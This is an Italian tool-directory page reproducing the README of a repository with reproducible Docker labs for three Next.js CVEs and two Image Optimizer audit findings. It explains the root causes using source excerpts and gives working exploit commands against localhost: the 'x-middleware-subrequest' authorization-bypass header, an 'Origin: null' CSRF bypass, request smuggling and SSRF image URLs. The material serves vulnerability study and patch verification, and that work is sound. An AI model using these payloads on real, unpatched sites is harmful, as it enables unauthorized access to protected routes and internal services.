Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Next.js-Proof-of-Concept — Alcuni Proof-of-Concept (POCs) per CVE-2025-29927, CVE-2026-27978 e CVE-2026-29057 in Next.js. | Kitploit
Strumenti/GitHubGitHub/nayekah/next.js-proof-of-concept
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebApprendimento e FormazioneLab e Pratica
GitHubnayekah/next.js-proof-of-concept

Next.js-Proof-of-Concept

Alcuni Proof-of-Concept (POCs) per CVE-2025-29927, CVE-2026-27978 e CVE-2026-29057 in Next.js.

Vedi Repository
4 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Next.js CVE Proof of Concept

Questo repository contiene ambienti proof-of-concept riproducibili per tre vulnerabilità di Next.js. Ogni PoC include un target vulnerabile, un target corretto e uno script che dimostra la differenza comportamentale tra i due.

L'obiettivo di questo progetto è rendere facile osservare la causa principale e l'impatto pratico di ogni problema in un ambiente minimale.

Vulnerabilità incluse

CVEAdvisoryImpattoVersione vulnerabileVersione corretta
CVE-2025-29927GHSA-f82v-jwr5-mffwbypass dell'autorizzazione quando il controllo degli accessi si basa solo sul middleware15.2.215.2.3
CVE-2026-27978GHSA-mq59-m269-xvcxbypass di Origin: null dei controlli CSRF delle Server Actions16.1.616.1.7
CVE-2026-29057GHSA-ggv3-7p47-pfv8contrabbando di richieste HTTP tramite riscritture verso un backend esterno15.5.1215.5.13
NEXT-16.2.4-IMAGE-REDIRECTreperto di audit sorgente localebypass della whitelist remota dell'Image Optimizer tramite reindirizzamenti16.2.4non verificato
NEXT-16.2.4-IMAGE-LOCAL-REWRITEreperto di audit sorgente localel'URL locale dell'Image Optimizer può raggiungere un upstream privato tramite riscritture esterne16.2.4non verificato

Commit di rilascio e commit di correzione

Gli hash sotto sono presi dall'upstream vercel/next.js.

CVECommit di rilascio vulnerabileCommit di rilascio correttoCommit di correzione rilevante
CVE-2025-29927v15.2.2 -> f4552826e1ed15fbeb951be552d67c5a08ad0672v15.2.3 -> 535e26d3c69de49df8bd17618a424cbe65ec897b52a078da3884efe6501613c7834a3d02a91676d2
CVE-2026-27978v16.1.6 -> adf8c612adddd103647c90ff0f511ea35c57076ev16.1.7 -> bdf3e3577a6d55ea186a48238d61fbd8da07a626a27a11d78e748a8c7ccfd14b7759ad2b9bf097d8
CVE-2026-29057v15.5.12 -> d23f41c42506005fe6978e076a1ccbf8979e4925v15.5.13 -> cfd5f533b08df3038476dcd54f1d6d660d85f069dc98c04f376c6a1df76ec3e0a2d07edf4abdabd6

Struttura del repository

root@kitploit:~
.
|- docker-compose.yml
|- pocs/
|  |- cve-2025-29927/
|  |- cve-2026-27978/
|  |- cve-2026-29057/
|  |- next-16.2.4-image-redirect-allowlist-bypass/
|  `- next-16.2.4-image-local-rewrite-ssrf/
`- scripts/
   |- run-cve-2025-29927.mjs
   |- run-cve-2026-27978.mjs
   |- run-cve-2026-29057.mjs
   |- run-next-16.2.4-image-redirect-allowlist-bypass.mjs
   `- run-next-16.2.4-image-local-rewrite-ssrf.mjs

Prerequisiti

  1. Installare Docker Desktop o Docker Engine.
  2. Assicurarsi che docker compose sia disponibile.
  3. Eseguire i comandi dalla radice di questo repository.

Avviare tutti i servizi

root@kitploit:~
docker compose up --build

Porte esposte:

  • 3001 -> CVE-2025-29927 vulnerabile
  • 3002 -> CVE-2025-29927 corretto
  • 3003 -> CVE-2026-27978 vulnerabile
  • 3004 -> CVE-2026-27978 corretto
  • 3005 -> CVE-2026-29057 vulnerabile
  • 3006 -> CVE-2026-29057 corretto
  • 3007 -> NEXT-16.2.4-IMAGE-REDIRECT
  • 3008 -> NEXT-16.2.4-IMAGE-LOCAL-REWRITE

Riprodurre 1: CVE-2025-29927

Percorso del codice vulnerabile

In questo PoC, /dashboard è protetto solo dal middleware:

root@kitploit:~
export function middleware(request) {
  const session = request.cookies.get('session')?.value

  if (session !== 'admin') {
    return NextResponse.redirect(new URL('/login', request.url))
  }

  return NextResponse.next()
}

Il controllo di autorizzazione di per sé non è errato. Il problema è che la route dipende interamente dal presupposto che l'esecuzione del middleware non possa essere saltata.

Nelle versioni interessate di Next.js, le richieste esterne potevano comunque fornire l'header interno x-middleware-subrequest, e il runtime trattava quel valore come metadati del middleware fidati. La logica vulnerabile rilevante era:

root@kitploit:~
const INTERNAL_HEADERS = [
  'x-middleware-rewrite',
  'x-middleware-redirect',
  'x-middleware-set-cookie',
  'x-middleware-skip',
  'x-middleware-override-headers',
  'x-middleware-next',
  'x-now-route-matches',
  'x-matched-path',
]

export const filterInternalHeaders = (headers) => {
  for (const header in headers) {
    if (INTERNAL_HEADERS.includes(header)) {
      delete headers[header]
    }
  }
}

x-middleware-subrequest non veniva filtrato lì, quindi l'input controllato dall'attaccante poteva raggiungere il runtime del middleware. Quel valore veniva poi utilizzato per derivare la profondità di ricorsione:

root@kitploit:~
const subreq = params.request.headers['x-middleware-subrequest']
const subrequests = typeof subreq === 'string' ? subreq.split(':') : []

const depth = subrequests.reduce(
  (acc, curr) => (curr === params.name ? acc + 1 : acc),
  0
)

if (depth >= MAX_RECURSION_DEPTH) {
  return {
    response: new Response(null, {
      headers: {
        'x-middleware-next': '1',
      },
    }),
  }
}

Se un attaccante invia middleware:middleware:middleware:middleware:middleware, il runtime potrebbe concludere che la profondità di ricorsione è già stata raggiunta e inoltrare la richiesta senza eseguire il middleware dell'applicazione.

Esecuzione

root@kitploit:~
docker compose up --build cve-2025-29927-vuln cve-2025-29927-fixed
root@kitploit:~
node scripts/run-cve-2025-29927.mjs http://localhost:3001
node scripts/run-cve-2025-29927.mjs http://localhost:3002

Comportamento previsto:

  • 3001 restituisce un reindirizzamento senza l'header di exploit, ma restituisce 200 OK con x-middleware-subrequest.
  • 3002 continua a reindirizzare a /login perché l'header interno non è più considerato attendibile dall'input esterno.

Riprodurre 2: CVE-2026-27978

Percorso del codice vulnerabile

Questo PoC espone una normale Server Action che modifica lo stato lato server:

root@kitploit:~
'use server'

import { cookies } from 'next/headers'
import { revalidatePath } from 'next/cache'
import { recordTransfer } from '../lib/state'

export async function transferFunds(formData) {
  const cookieStore = await cookies()
  const session = cookieStore.get('session')?.value

  if (!session) {
    throw new Error('Victim session cookie is missing.')
  }

  const amount = Number(formData.get('amount') || '0')
  recordTransfer(session, amount)
  revalidatePath('/')
}

Il problema non è in transferFunds() stesso. Il comportamento vulnerabile risiedeva nella validazione CSRF di Next.js per le Server Actions. Nelle versioni interessate, Origin: null veniva trattato come un'origine mancante invece che come un'origine opaca esplicita:

root@kitploit:~
const originHeader = req.headers['origin']
const originDomain =
  typeof originHeader === 'string' && originHeader !== 'null'
    ? new URL(originHeader).host
    : undefined

const host = parseHostHeader(req.headers)

if (!originDomain) {
  warning = 'Missing `origin` header from a forwarded Server Actions request.'
} else if (!host || originDomain !== host.value) {
  if (isCsrfOriginAllowed(originDomain, serverActions?.allowedOrigins)) {
    // Ignora
  } else {
    const error = new Error('Invalid Server Actions request.')
    // ...
  }
}

Poiché 'null' diventava undefined, le richieste da origini opache come iframe sandbox potevano evitare il confronto host/origine ed essere comunque elaborate con i cookie della vittima allegati.

Esecuzione

root@kitploit:~
docker compose up --build cve-2026-27978-vuln cve-2026-27978-fixed
root@kitploit:~
node scripts/run-cve-2026-27978.mjs http://localhost:3003
node scripts/run-cve-2026-27978.mjs http://localhost:3004

Comportamento previsto:

  • lo script effettua il login come vittima, estrae il campo Server Action generato dalla pagina e lo invia con Origin: null
  • sul target vulnerabile, lo stato del trasferimento cambia
  • sul target corretto, la richiesta fallisce e lo stato rimane invariato

Riprodurre 3: CVE-2026-29057

Percorso del codice vulnerabile

Questo PoC riscrive /rewrites/:path* verso un backend esterno:

root@kitploit:~
/** @type {import('next').NextConfig} */
const nextConfig = {
  async rewrites() {
    return [
      {
        source: '/rewrites/:path*',
        destination: 'http://127.0.0.1:4000/rewrites/:path*',
      },
    ]
  },
}

module.exports = nextConfig

Il comportamento vulnerabile risiedeva nella dipendenza http-proxy in vendita utilizzata da Next.js per le riscritture. Nelle versioni interessate, la logica del proxy per le richieste DELETE e OPTIONS poteva aggiungere content-length: 0 e rimuovere transfer-encoding:

root@kitploit:~
deleteLength: function deleteLength(req, res, options) {
  if (
    (req.method === 'DELETE' || req.method === 'OPTIONS') &&
    !req.headers['content-length']
  ) {
    req.headers['content-length'] = '0'
    delete req.headers['transfer-encoding']
  }
},

Ciò creava un disaccordo sui confini della richiesta tra la catena del proxy e il backend quando una richiesta chunked manipolata veniva inoltrata. Di conseguenza, una seconda richiesta poteva essere contrabbandata al backend sulla stessa connessione.

Esecuzione

root@kitploit:~
docker compose up --build cve-2026-29057-vuln cve-2026-29057-fixed
root@kitploit:~
node scripts/run-cve-2026-29057.mjs http://localhost:3005
node scripts/run-cve-2026-29057.mjs http://localhost:3006

Comportamento previsto:

  • lo script resetta lo stato osservato, poi invia una richiesta DELETE /rewrites/poc chunked grezza contenente un GET /secret contrabbandato
  • sul target vulnerabile, il backend registra sia DELETE /rewrites/poc che GET /secret
  • sul target corretto, il backend registra solo la prima richiesta riscritta

Esempio di output osservato:

root@kitploit:~
$ node scripts/run-cve-2026-29057.mjs http://localhost:3005
[before] {"backendRequests":[]}
[after] {"backendRequests":["DELETE /rewrites/poc","GET /secret"]}
PoC result: vulnerable behavior reproduced.

$ node scripts/run-cve-2026-29057.mjs http://localhost:3006
[before] {"backendRequests":[]}
[after] {"backendRequests":["DELETE /rewrites/poc"]}
PoC result: smuggled request was not observed. This usually means the target is patched.

Riprodurre 4: NEXT-16.2.4-IMAGE-REDIRECT

Percorso del codice vulnerabile

Il sorgente locale next.js-16.2.4 convalida images.remotePatterns solo per il parametro url originale in ImageOptimizerCache.validateParams():

root@kitploit:~
if (!hasRemoteMatch(domains, remotePatterns, hrefParsed)) {
  return { errorMessage: '"url" parameter is not allowed' }
}

Il percorso di fetch di rete segue poi i reindirizzamenti ricorsivamente in fetchExternalImage():

root@kitploit:~
const redirect = new URL(locationHeader, href).href
return fetchExternalImage(
  redirect,
  dangerouslyAllowLocalIP,
  maximumResponseBody,
  count - 1
)

Quella chiamata ricorsiva mantiene il controllo dell'IP privato, ma non riceve né riapplica domains / remotePatterns. Un'origine immagine consentita configurata può quindi reindirizzare l'ottimizzatore verso un'origine pubblica diversa che non supererebbe la whitelist di immagini originale.

Il PoC utilizza servizi localhost e imposta dangerouslyAllowLocalIP: true solo affinché il comportamento della whitelist possa essere riprodotto senza infrastruttura esterna. La whitelist di immagini configurata consente solo http://127.0.0.1:4100/allowed/**; quel server reindirizza a http://127.0.0.1:4200/blocked/private.png, e il secondo server registra se è stato raggiunto.

Esecuzione

root@kitploit:~
docker compose up --build next-16-image-redirect-bypass
root@kitploit:~
node scripts/run-next-16.2.4-image-redirect-allowlist-bypass.mjs http://localhost:3007

Comportamento previsto:

  • l'ottimizzatore accetta l'URL originale consentito sulla porta 4100
  • l'upstream consentito reindirizza a un URL sulla porta 4200, che è al di fuori di images.remotePatterns
  • sul target vulnerabile, l'upstream sulla porta 4200 registra GET /blocked/private.png
  • su un target corretto, la destinazione del reindirizzamento dovrebbe essere respinta prima che il secondo upstream venga recuperato

Comandi rapidi manuali

CVE-2025-29927

root@kitploit:~
curl -i http://localhost:3001/dashboard
curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3001/dashboard

CVE-2026-27978

Usare lo script fornito, perché il campo Server Action viene generato dinamicamente dal server.

CVE-2026-29057

Usare lo script fornito, perché l'exploit si basa su un payload TCP grezzo con una seconda richiesta contrabbandata.

NEXT-16.2.4-IMAGE-REDIRECT

root@kitploit:~
curl "http://localhost:3007/_next/image?url=http%3A%2F%2F127.0.0.1%3A4100%2Fallowed%2Fredirect.png&w=64&q=75"
curl http://localhost:3007/api/state

Riprodurre 5: NEXT-16.2.4-IMAGE-LOCAL-REWRITE

Percorso del codice vulnerabile

Per un URL immagine locale, ImageOptimizerCache.validateParams() convalida solo il pathname locale rispetto a images.localPatterns:

root@kitploit:~
if (!hasLocalMatch(localPatterns, url)) {
  return { errorMessage: '"url" parameter is not allowed' }
}

Il percorso di fetch interno reinserisce poi il gestore delle richieste di Next.js:

root@kitploit:~
await handleRequest(mocked.req, mocked.res, nodeUrl.parse(href, true))

Se la route locale corrispondente è configurata come riscrittura esterna, la richiesta può essere inoltrata a quella destinazione esterna. Questo percorso non chiama fetchExternalImage(), quindi la protezione dell'IP privato utilizzata per gli URL assoluti delle immagini non viene applicata alla destinazione riscritta.

Il PoC consente solo URL di immagini locali sotto /allowed/**, poi riscrive quel percorso in http://127.0.0.1:4300/private/:path*:

root@kitploit:~
const nextConfig = {
  images: {
    localPatterns: [{ pathname: '/allowed/**' }],
  },
  async rewrites() {
    return [
      {
        source: '/allowed/:path*',
        destination: 'http://127.0.0.1:4300/private/:path*',
      },
    ]
  },
}

Esecuzione

root@kitploit:~
docker compose up --build next-16-image-local-rewrite-ssrf
root@kitploit:~
node scripts/run-next-16.2.4-image-local-rewrite-ssrf.mjs http://localhost:3008

Comportamento previsto:

  • l'ottimizzatore accetta /allowed/secret.png perché corrisponde a images.localPatterns
  • Next.js applica la riscrittura esterna a http://127.0.0.1:4300/private/secret.png
  • sul target vulnerabile, l'upstream privato registra GET /private/secret.png
  • su un target corretto, l'Image Optimizer dovrebbe rifiutare le destinazioni di riscrittura esterne/private prima di inoltrarle

NEXT-16.2.4-IMAGE-LOCAL-REWRITE

root@kitploit:~
curl "http://localhost:3008/_next/image?url=%2Fallowed%2Fsecret.png&w=64&q=75"
curl http://localhost:3008/api/state

Fonti

  • Avvisi di sicurezza di Next.js
  • Avviso CVE-2025-29927
  • Postmortem sul bypass del middleware
  • Avviso CVE-2026-27978
  • Avviso CVE-2026-29057
  • Commit di correzione CVE-2026-29057
Scarica lo strumento